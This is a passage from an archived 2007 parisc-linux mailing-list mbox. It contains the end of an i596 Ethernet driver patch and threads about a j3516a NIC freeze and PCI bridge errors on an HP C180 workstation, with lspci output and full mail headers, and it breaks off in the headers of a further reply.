+	i596_cleanup_cmd(dev,lp);
+
+	free_irq(dev->irq, dev);
+	remove_rx_bufs(dev);
+
+	return 0;
+}
+
+static struct net_device_stats *i596_get_stats(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+
+	return &lp->stats;
+}
+
+/*
+ *    Set or clear the multicast filter for this adaptor.
+ */
+
+static void set_multicast_list(struct net_device *dev)
+{
+	struct i596_private *lp = dev->priv;
+	int config = 0, cnt;
+
+	DEB(DEB_MULTI, printk("%s: set multicast list, %d entries, promisc %s, allmulti %s\n",
+		dev->name, dev->mc_count, dev->flags & IFF_PROMISC ? "ON" : "OFF",
+		dev->flags & IFF_ALLMULTI ? "ON" : "OFF"));
+
+	if ((dev->flags & IFF_PROMISC) && !(lp->cf_cmd.i596_config[8] & 0x01)) {
+		lp->cf_cmd.i596_config[8] |= 0x01;
+		config = 1;
+	}
+	if (!(dev->flags & IFF_PROMISC) && (lp->cf_cmd.i596_config[8] & 0x01)) {
+		lp->cf_cmd.i596_config[8] &= ~0x01;
+		config = 1;
+	}
+	if ((dev->flags & IFF_ALLMULTI) && (lp->cf_cmd.i596_config[11] & 0x20)) {
+		lp->cf_cmd.i596_config[11] &= ~0x20;
+		config = 1;
+	}
+	if (!(dev->flags & IFF_ALLMULTI) && !(lp->cf_cmd.i596_config[11] & 0x20)) {
+		lp->cf_cmd.i596_config[11] |= 0x20;
+		config = 1;
+	}
+	if (config) {
+		if (lp->cf_cmd.cmd.command)
+			printk("%s: config change request already queued\n",
+			       dev->name);
+		else {
+			lp->cf_cmd.cmd.command = SWAP16(CmdConfigure);
+			CHECK_WBACK_INV(lp, &lp->cf_cmd, sizeof(struct cf_cmd));
+			i596_add_cmd(dev, &lp->cf_cmd.cmd);
+		}
+	}
+
+	cnt = dev->mc_count;
+	if (cnt > MAX_MC_CNT)
+	{
+		cnt = MAX_MC_CNT;
+		printk("%s: Only %d multicast addresses supported",
+			dev->name, cnt);
+	}
+	
+	if (dev->mc_count > 0) {
+		struct dev_mc_list *dmi;
+		unsigned char *cp;
+		struct mc_cmd *cmd;
+
+		cmd = &lp->mc_cmd;
+		cmd->cmd.command = SWAP16(CmdMulticastList);
+		cmd->mc_cnt = SWAP16(dev->mc_count * 6);
+		cp = cmd->mc_addrs;
+		for (dmi = dev->mc_list; cnt && dmi != NULL; dmi = dmi->next, cnt--, cp += 6) {
+			memcpy(cp, dmi->dmi_addr, 6);
+			if (i596_debug > 1)
+				DEB(DEB_MULTI, printk("%s: Adding address %02x:%02x:%02x:%02x:%02x:%02x\n",
+						dev->name, cp[0],cp[1],cp[2],cp[3],cp[4],cp[5]));
+		}
+		CHECK_WBACK_INV(lp, &lp->mc_cmd, sizeof(struct mc_cmd));
+		i596_add_cmd(dev, &cmd->cmd);
+	}
+}


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] j3516a nic issue
Date: Sat, 14 Apr 2007 17:08:57 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20070414230857.GB15862__42482.3170797483$1416624333$gmane$org@colo.lackof.org>
References: <461EAA47.6030205@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624333 23558 80.91.229.3 (22 Nov 2014 02:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Johnson <alan.johnson@charter.net>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2007 23:09:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 15 Apr 2007 01:09:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3748F7DAA4;
	Sat, 14 Apr 2007 17:09:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19754-05; Sat, 14 Apr 2007 17:09:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2036B7D627;
	Sat, 14 Apr 2007 17:09:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0862E7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 17:09:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19740-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 17:09:04 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4D0507D627
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 17:09:04 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8F9553382E4;
	Sat, 14 Apr 2007 17:09:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18117-02; Sat, 14 Apr 2007 17:08:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1049C3382E5; Sat, 14 Apr 2007 17:08:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <461EAA47.6030205@charter.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JW0Scg8ZX1Vpz+uYY2Fydyd3SDc4NAxg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24464

On Thu, Apr 12, 2007 at 04:53:11PM -0500, Alan Johnson wrote:
> I have a D250/350 with a j3516a with the DEC 21140 chipset.  When I try 
> to install Debian 3.1 it freezes with a trap error on the display.  It 
> boots fine but when it tries to load the tulip driver it freezes and the 
> display on the front shows FLT CBC0 TRAPS CPU01.

I need a bit more info. Can you look at the kernel bug HOW-TO FAQ?

	http://www.parisc-linux.org/faq/kernelbug-howto.html

>  I have 3 of these boards and they all do the same thing.  Is there
> some trick to getting this board to work?

Not aware any trick was needed. I'm pretty sure they worked at one point.

> Has any one else had this issue?

Have you searched the parisc-linux mail archive?
Just look for the j3516a part number.

hth,
grant

> Thanks for any assistance you might be able to provide.
> 
> 
> Alan
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Evanson <debianuser@twosillies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian 4.0 and PCI issues?
Date: Sat, 14 Apr 2007 22:04:49 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <1176602689.4621884127120__48805.1357250244$1416624333$gmane$org@www.twosillies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624333 23566 80.91.229.3 (22 Nov 2014 02:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2007 01:55:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 15 Apr 2007 03:55:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 826E57DAB6;
	Sat, 14 Apr 2007 19:55:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20649-03; Sat, 14 Apr 2007 19:55:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42DD17DAB2;
	Sat, 14 Apr 2007 19:55:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE1B97DAAF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 19:55:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20041-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 19:54:59 -0600 (MDT)
Original-Received: from elasmtp-junco.atl.sa.earthlink.net
	(elasmtp-junco.atl.sa.earthlink.net [209.86.89.63])
	by free.linux.hp.com (Postfix) with ESMTP id C128A7DAAA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 19:54:59 -0600 (MDT)
Original-Received: from [24.223.128.207] (helo=twosillies.com)
	by elasmtp-junco.atl.sa.earthlink.net with asmtp (TLSv1:AES256-SHA:256)
	(Exim 4.34) id 1HctxD-0001aO-9E
	for parisc-linux@lists.parisc-linux.org; Sat, 14 Apr 2007 21:54:59 -0400
Original-Received: from hokey.twosillies.com (hokey.twosillies.com [127.0.0.1])
	by twosillies.com (8.12.11.20060308/8.12.11) with ESMTP id
	l3F24pJ2006869
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Apr 2007 22:04:52 -0400
Original-Received: (from apache@localhost)
	by hokey.twosillies.com (8.12.11.20060308/8.12.11/Submit) id
	l3F24o1Z006867
	for parisc-linux@lists.parisc-linux.org; Sat, 14 Apr 2007 22:04:50 -0400
Original-Received: from tablet-w.twosillies.com (tablet-w.twosillies.com
	[192.168.10.39]) by www.twosillies.com (IMP) with HTTP 
	for <matt@localhost>; Sat, 14 Apr 2007 22:04:49 -0400
User-Agent: Internet Messaging Program (IMP) 3.2.6
X-ELNK-Trace: 8f796ff1b544482c72cc1e1b0924a179239a348a220c2609e34d2cd8ebde89936dbda0982727e1b0350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c
X-Originating-IP: 24.223.128.207
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zP8ULgM6ZDI4y7HGdWY2UzVxemhmY8Hh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24465


First, hats off to those that have made Linux usable on PA-RISC.  

I was wondering if others have had success running Debian 4.0 (or 3.1 testing)
on a C class workstation (specifically C180) with PCI hardware.

Background:
* Own a C180 with the buggy GSCtoPCI hardware (per note A4190A-01)
* Installed a Compaq quad port PCI ethernet card in the box
* System failed to boot due to firmware lockout
* Modified firmware to bypass error and allow booting
* When Linux probes the PCI bus, errors are reported and device is unusable.

Errors thrown are:
    PCI: Unable to handle 64-bit address space for bridge 0000:00:03.0
    PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:04.0
    PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:05.0
    PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:06.0
    PCI: Failed to allocate mem resource #0:1000@f2c00000 for 0000:01:07.0

The e100 module fails to load with the message:
    Cannot find proper PCI device base address, aborting.

I've traced this to the function pci_read_brige_bases in drives/pci/probe.c.  I
built a new kernel that instead of erroring out, reports and ignores
mem_base_hi and mem_limit_hi.  With this new kernel, I am successfully able to
use my PCI hardware.

mem_base_hi and mem_limit_hi both report as 0xffffffff.  This seems to be
incorrect behaviour per the comments in the code.

Ultimately, my question is whether or not those values are expected or if this
is the result of change in behaviour due to my firmware modification?

FYI, I do understand the potential for corruption of data running in this
configuration but the way in which this machine will be utilized is low risk.

Thanks,
--matt

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Evanson <debianuser@twosillies.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 4.0 and PCI issues?
Date: Thu, 19 Apr 2007 21:57:28 -0400
Lines: 107
Approved: news@gmane.org
Message-ID: <1177034230.3648.14.camel__44444.0927858979$1416624334$gmane$org@tablet.twosillies.com>
References: <1176602689.4621884127120@www.twosillies.com>
	<20070419060418.GB16953@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624334 23570 80.91.229.3 (22 Nov 2014 02:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2007 02:22:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 20 Apr 2007 04:22:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3945A7DADC;
	Thu, 19 Apr 2007 20:22:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30877-06; Thu, 19 Apr 2007 20:22:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3D437DAD4;
	Thu, 19 Apr 2007 20:22:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8D267DAC8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:22:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30902-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:22:35 -0600 (MDT)
Original-Received: from elasmtp-curtail.atl.sa.earthlink.net
	(elasmtp-curtail.atl.sa.earthlink.net [209.86.89.64])
	by free.linux.hp.com (Postfix) with ESMTP id 4CD477DAB1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:22:35 -0600 (MDT)
Original-Received: from [24.223.128.102] (helo=twosillies.com)
	by elasmtp-curtail.atl.sa.earthlink.net with asmtp
	(TLSv1:AES256-SHA:256) (Exim 4.34) id 1Heile-0000ee-7a
	for parisc-linux@lists.parisc-linux.org; Thu, 19 Apr 2007 22:22:34 -0400
Original-Received: from hokey.twosillies.com (hokey.twosillies.com [127.0.0.1])
	by twosillies.com (8.12.11.20060308/8.12.11) with ESMTP id
	l3K2Xgq1006509
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 22:33:43 -0400
Original-Received: (from root@localhost)
	by hokey.twosillies.com (8.12.11.20060308/8.12.11/Submit) id
	l3K2Xg86006507; Thu, 19 Apr 2007 22:33:42 -0400
In-Reply-To: <20070419060418.GB16953@colo.lackof.org>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Evolution-Format: text/plain
X-Evolution-Account: 1168754058.3838.20@tablet.twosillies.com
X-Evolution-Transport: smtp://matt@mail.twosillies.com/;use_ssl=never
X-Evolution-Fcc: imap://matt@mail.twosillies.com/INBOX/Sent
X-ELNK-Trace: 8f796ff1b544482c72cc1e1b0924a179239a348a220c26091674167e76b64353b0992d561121c1ba350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c
X-Originating-IP: 24.223.128.102
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zxERfpElYW0+k7uGbmZpssZ0amthcxsl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24466

On Thu, 2007-04-19 at 00:04 -0600, Grant Grundler wrote:
> On Sat, Apr 14, 2007 at 10:04:49PM -0400, Matthew Evanson wrote:
> > I was wondering if others have had success running Debian 4.0 (or 3.1 testing)
> > on a C class workstation (specifically C180) with PCI hardware.
> 
> Not that many people are running the older generation workstations.
> BTW, which kernel version is Debian 3.1 testing? Is this the 2.6.18-?

When I first installed 3.1 testing, it had been 2.6.15-.  I upgraded
that in place to 4.0 and it is 2.6.18-.  Both versions exhibited the
problem.

> > Background:
> > * Own a C180 with the buggy GSCtoPCI hardware (per note A4190A-01)
> > * Installed a Compaq quad port PCI ethernet card in the box
> > * System failed to boot due to firmware lockout
> > * Modified firmware to bypass error and allow booting
> 
> Can you describe how you did that?
> Maybe even add it someplace to wiki.parisc-linux.org?
> Or just mail it to me off list and I'll add it.

Yeah, I'd be happy to describe that and post it to the wiki.  Are you
looking for how I approached the problem overall or something more
simplistic (i.e. bytes changed in the firmware).  I suppose there could
be some value in both.

> > * When Linux probes the PCI bus, errors are reported and device is unusable.
> > 
> > Errors thrown are:
> 
> Can you capture the console output with a serial console and post it?
> Can you also post "lspci -v"  and "lspci -vt" output using the kernel
> that did boot?

I'm not set up for a serial console... I'll do that in the next day or
two and post the results at that time.  I also intend to boot with the
original firmware, the stock kernel, and no PCI cards to see if the
kernel still complains on PCI bus probe.

Here's the output for lspci -vt:

        
        -[0000:00]---03.0-[0000:01]--+-04.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     +-05.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     +-06.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
                                     \-07.0  Intel Corporation 82557/8/9 [Ethernet Pro 100]
        
and lspci -v:


        00:03.0 PCI bridge: Digital Equipment Corporation DECchip 21154 (rev 05) (prog-if 00 [Normal decode])
                Flags: bus master, fast Back2Back, medium devsel, latency 255
                Bus: primary=00, secondary=01, subordinate=01, sec-latency=255
                I/O behind bridge: 00000000-00000fff
                Memory behind bridge: f2800000-f2bfffff
                Prefetchable memory behind bridge: 00000000f2c00000-00000000f2cfffff
                Capabilities: [dc] Power Management version 1
        
        01:04.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3131 Fast Ethernet NIC (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 27
                Memory at f2c00000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10000 [size=32]
                Memory at f2800000 (32-bit, non-prefetchable) [size=1M]
                Capabilities: [dc] Power Management version 1
        
        01:05.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3131 Fast Ethernet NIC (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 28
                Memory at f2c01000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10020 [size=32]
                Memory at f2900000 (32-bit, non-prefetchable) [size=1M]
                Capabilities: [dc] Power Management version 1
        
        01:06.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3132 Fast Ethernet Module (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 29
                Memory at f2c02000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10040 [size=32]
                Memory at f2a00000 (32-bit, non-prefetchable) [size=1M]
        
        01:07.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 05)
                Subsystem: Compaq Computer Corporation NC3132 Fast Ethernet Module (dual port)
                Flags: bus master, medium devsel, latency 255, IRQ 30
                Memory at f2c03000 (32-bit, prefetchable) [size=4K]
                I/O ports at 10060 [size=32]
                Memory at f2b00000 (32-bit, non-prefetchable) [size=1M]


> > FYI, I do understand the potential for corruption of data running in this
> > configuration but the way in which this machine will be utilized is low risk.
> 
> ok. For NICs, it's probably OK as long as you disable checksum offloading.
> Packets with data that triggers the corruption will just keep getting resent.
> I guess the connection will timeout at that point. So you won't have to
> worry about silently missing the problem.

Thanks for sharing that background.

--matt
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 4.0 and PCI issues?
Date: Fri, 20 Apr 2007 04:30:57 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <7d01f9f00704191930i28067aaoe87bece5a92d725d__8282.1988188245$1416624334$gmane$org@mail.gmail.com>
References: <1176602689.4621884127120@www.twosillies.com>
	<20070419060418.GB16953@colo.lackof.org>
	<1177034230.3648.14.camel@tablet.twosillies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624334 23571 80.91.229.3 (22 Nov 2014 02:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Evanson" <debianuser@twosillies.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2007 02:31:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 20 Apr 2007 04:31:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32BA47DAF5;
	Thu, 19 Apr 2007 20:31:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31379-06; Thu, 19 Apr 2007 20:31:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF01E7DAF1;
	Thu, 19 Apr 2007 20:31:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CBE37DAEE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:31:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31379-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:30:58 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.246])
	by free.linux.hp.com (Postfix) with ESMTP id 914517DAE6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 20:30:58 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id c18so864752anc
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 19:30:58 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
